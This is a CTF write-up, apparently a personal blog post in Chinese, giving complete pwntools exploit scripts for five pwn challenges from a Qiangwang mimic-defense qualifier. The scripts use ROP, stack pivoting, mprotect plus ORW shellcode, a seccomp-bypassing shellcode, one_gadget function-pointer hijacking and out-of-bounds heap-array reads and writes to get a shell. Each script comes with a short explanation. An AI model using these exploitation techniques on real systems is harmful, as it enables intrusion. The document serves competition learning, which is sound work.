[第七届“强网”拟态防御国际精英挑战赛-线上预选赛] Pwn writeup(部分)

本文总阅读量

和强网杯整混了,还以为qwb的pwn怎么变简单了

这次虽然有两个菜单堆类似物(kernel除外),但没有一个和堆利用有关。风向要变了?


signin

一开始附件给错了,换完附件后发现差距不大,拿了二血

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./signin_t/vuln"
libc_path = "./signin_t/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)

libc_dll.srand(0)


local = 1

ip, port = "61.147.171.105", 29144
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-5419033d36.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# __libc_start_main

csu_start = 0x0401870


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


# =================start=================#

payload = p64(0) * 2 + b"\x00\x00"
p.send(payload)

for i in range(100):
res = libc_dll.rand() % 100 + 1
p.sendafter(b"code:\n", p8(res))

p.sendafter(b">>", b"\x01")

p.sendafter(b"Index: \n", b"\x01")


p.sendafter(b"Note: \n", b"aaaabbbb")

puts_plt = elf.plt.puts
puts_got = elf.got.puts
vuln_addr = elf.sym.o_O
read_addr = 0x4013CF
pop_rdi = 0x0000000000401893
lev_ret = 0x00000000004013BE
ret_addr = 0x000000000040101A


payload = b"a" * 0x108
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
sleep(0.5)
p.send(payload)

libc_base = recv(b"\n") - libc.sym.puts
mprotect_addr = libc_base + libc.sym.mprotect

sleep(0.5)

bss_addr = 0x404500

payload = b"a" * 0x100
payload += p64(bss_addr)
payload += p64(read_addr)
p.send(payload)

shell = """
mov rax, 2;
mov rcx, 0x67616c662f2e;
push rcx;
mov rdi, rsp;
xor rsi, rsi;
syscall;

mov rdi, rax;
xor rax, rax;
mov rsi, 0x404600;
mov rdx, 0x50;
xor rax, rax;
syscall;


xor rax, rax;
inc rax;
mov rsi, 0x404600;
mov rdx, 0x50;
mov rdi, 1;
syscall;
"""

dbg(p)
ls(libc_base)
sleep(0.5)
payload = csu(edi=0x404000, rsi=0x1000, rdx=0x7, r12=0x404510, mode=1)

payload += p64(0x404480)
payload += asm(shell)

payload = payload.ljust(0x100, b"x")
payload += p64(bss_addr - 0x108)
payload += p64(lev_ret)
payload += p64(mprotect_addr)
p.send(payload)


p.interactive()

给成了下一个题的附件,后来紧急换上的。草台班子
首先有个猜随机数的可以覆写种子绕过,之后有一个类似堆的东西,事实上是栈溢出,和堆一点关系都没有。有个沙箱,直接栈迁移➕mprotect然后写入shellcode,打orw.


signin_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./signin/vuln"
libc_path = "./signin/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)


local = 1

ip, port = "pwn-f2237b44a0.challenge.xctf.org.cn", 9999
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-16186d9a30.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# __libc_start_main

csu_start = 0x401370


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


# =================start=================#

puts_plt = elf.plt.puts
puts_got = elf.got.puts
vuln_addr = elf.sym.vuln
read_addr = 0x000000004012CF
pop_rdi = 0x0000000000401393
lev_ret = 0x00000000004012BE
ret_addr = 0x000000000040101A


payload = b"a" * 0x108
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
p.sendafter(b"pwn!\n", payload)

libc_base = recv(b"\n") - libc.sym.puts
mprotect_addr = libc_base + libc.sym.mprotect


sleep(0.5)

bss_addr = 0x404500

payload = b"a" * 0x100
payload += p64(bss_addr)
payload += p64(read_addr)
p.send(payload)

shell = """
mov rax, 2;
mov rcx, 0x67616c662f2e;
push rcx;
mov rdi, rsp;
xor rsi, rsi;
syscall;

mov rdi, rax;
xor rax, rax;
mov rsi, 0x404600;
mov rdx, 0x50;
xor rax, rax;
syscall;


xor rax, rax;
inc rax;
mov rsi, 0x404600;
mov rdx, 0x50;
mov rdi, 1;
syscall;
"""

dbg(p)
ls(libc_base)
sleep(0.5)
payload = csu(edi=0x404000, rsi=0x1000, rdx=0x7, r12=0x404510, mode=1)

payload += p64(0x404480)
payload += asm(shell)

payload = payload.ljust(0x100, b"x")
payload += p64(bss_addr - 0x108)
payload += p64(lev_ret)
payload += p64(mprotect_addr)
p.send(payload)


p.interactive()

有点无语,就是把signin中的栈溢出函数单独弄了出来,沙箱都是一模一样的。虽然读入内容少了,但还是能够栈迁移。和上一题做法一样。


QWEN

最可惜的一集,本来能拿一血的,但被远程权限卡了两个小时 :(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./QWEN/pwn1"
libc_path = "./QWEN/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-deb19cee97.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))




def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


# __libc_start_main

csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload

# =================start=================#

p.sendlineafter(b"\xef\xbc\x9a", b"0 0")
p.sendlineafter(b"\xef\xbc\x9a", b"1 1")
p.sendlineafter(b"\xef\xbc\x9a", b"2 2")
p.sendlineafter(b"\xef\xbc\x9a", b"3 3")
p.sendlineafter(b"\xef\xbc\x9a", b"4 4")

payload = b"a" * 0x8 + b"\x08\x15"
p.sendafter(b"say?", payload)

p.sendlineafter(b"[Y/N]\n", b"N")

p.sendlineafter(b"\xef\xbc\x9a", b"999 999")

p.sendlineafter(b" key\n", str(0x6B8B4567).encode())

p.sendlineafter(b"in!\n", b"/proc/self/maps")
p.recvlines(2)

text_base = int(p.recvuntil(b"-", drop=True), 16)
p.recvlines(3)

libc_base = int(p.recvuntil(b"-", drop=True), 16)

p.recvuntil(b"[vdso]\n")

stack_addr = int(p.recvuntil(b"-", drop=True), 16)


p.sendlineafter(b"\xef\xbc\x9a", b"0 0")
p.sendlineafter(b"\xef\xbc\x9a", b"1 1")
p.sendlineafter(b"\xef\xbc\x9a", b"2 2")
p.sendlineafter(b"\xef\xbc\x9a", b"3 3")
p.sendlineafter(b"\xef\xbc\x9a", b"4 4")

one = [0x4F29E, 0x4F2A5, 0x4F302, 0x10A2FC]

payload = b"a" * 0x8 + p64(one[3] + libc_base) + p64(0) * 4
p.sendafter(b"say?", payload)

p.sendlineafter(b"[Y/N]\n", b"N")

p.sendlineafter(b"\xef\xbc\x9a", b"512 256")

"""
find / -user root -perm -4000-print2>/dev/null
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
"""


p.interactive()

下五子棋,只要自己有五个能连成一块的就可以拿到一次输入机会(对方怎么样不管),输入可以覆写栈上的一个用于处理错误输入的函数指针。程序还有一个admin函数提供限制文件名的读文件(flag的g被过滤了)然后返回main。partial overwrite爆破该指针指向admin函数之后读取/proc/self/maps,直接拿到libc地址,之后覆写函数指针为one gadget,正好有一个可以构造满足条件。拿到shell后只能用pwn2来读flag,输入指令./pwn2 -c aaa ./flag之后cat ./aaa拿到flag


ezcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
# from LibcSearcher import *
from pwnlib.adb import shell
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./bin/ezcode"
libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"

elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-36f53f067e.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# =================start=================#
shellcode = """
mov rsp, 0x9998200;
mov rax, 2;

mov rcx, 0x67616c662f2e;
push rcx;

mov rdi, rsp;
xor rsi, rsi;
syscall;

mov rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
mov r10, 0x100;
mov rax, 40;
syscall;
"""


"""
00000000: 4c87 ff66 ba07 0066 b80a 000f 0599 31c0 L..f...f......1.
00000010: 87ce 31ff 0f05 ..1...
4c87ff66ba070066b80a000f059931c087ce31ff0f05

xchg rdi, r15;
mov dx, 0x7;
mov ax, 10;
syscall;
cdq;
xor eax, eax;
xchg esi, ecx;
xor edi, edi;
syscall;

"""


dbg(p)
payload = b"""{"shellcode":"4c87ff66ba070066b80a000f059931c087ce31ff0f05"}"""
p.sendline(payload)

sleep(2)
p.send(b"\x00" * 9 + asm(shellcode))


p.interactive()

沙箱shellcode题,沙箱只限制了execve/execveat。用json格式输入机器码转化为十六进制的字符串,限制该字符串长度小于44,即原机器码长度小于22.由于在copy之后把机器码地址的写权限关掉了,我们首先需要增加机器码地址的写权限,然后用read再往里边写机器码。用xchg,xor,和cdq可以以非常短的方式构造满足的shellcode, 可以往机器码地址附近输入很长的内容,之后就输入padding+open+sendfile拿到flag.


guestbook

感觉像临时出的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./guestbook/pwn"
libc_path = "./guestbook/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)


local = 1

if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-2e5d3b8445.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# __libc_start_main


# =================start=================#
# > 0x500
def add(idx, size):
p.sendlineafter(b">", b"1")
p.sendlineafter(b"index\n", str(idx).encode())
p.sendlineafter(b"size\n", str(size).encode())


def edit(idx, content):
p.sendlineafter(b">", b"2")
p.sendlineafter(b"index\n", str(idx).encode())
p.sendafter(b"content\n", content)


def delete(idx):
p.sendlineafter(b">", b"3")
p.sendlineafter(b"index\n", str(idx).encode())


def show(idx):
p.sendlineafter(b">", b"4")
p.sendlineafter(b"index\n", str(idx).encode())


add(0, 0x500)
add(9, 0x500)
add(10, 0x500)
add(12, 0x500)
add(14, 0x500)
edit(-4, b"aaaabbb|")
show(-4)
p.recvuntil(b"|")

libc_base = recv(b"\n") - 0x21B723
environ = libc_base + libc.sym.environ
sys = libc.sym.system + libc_base
binsh = libc_base + libc.search(b"/bin/sh").__next__()
pop_rdi = 0x000000000002A3E5 + libc_base
ret = 0x00000000000F410B + libc_base
"""
0x000000000002a3e5: pop rdi; ret;
0x00000000000f410b: ret;
"""


show(-11)

bss_base = recv(b"\n") - 0x8

edit(-11, p64(bss_base))
edit(-11, p64(environ))
show(-12)

stack_addr = recv(b"\n")
ret_addr = stack_addr - 0x140

edit(-11, p64(ret_addr))
# dbg(p)
edit(-12, p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys))


ls(stack_addr)
ls(libc_base)
ls(bss_base)


p.interactive()

高版本堆,但和堆一点关系都没有。heapsize与heaparray挨着,没有限制越界读写,直接改stderr然后读泄漏libc基地址。bss上有一个指向自己的指针,任意读可得bss基地址,任意写该指针为bss段上某个地址,利用这条链可以完成任意读写。任意读environ得栈地址计算得返回地址,然后往返回地址写ROP链,最后成功getshell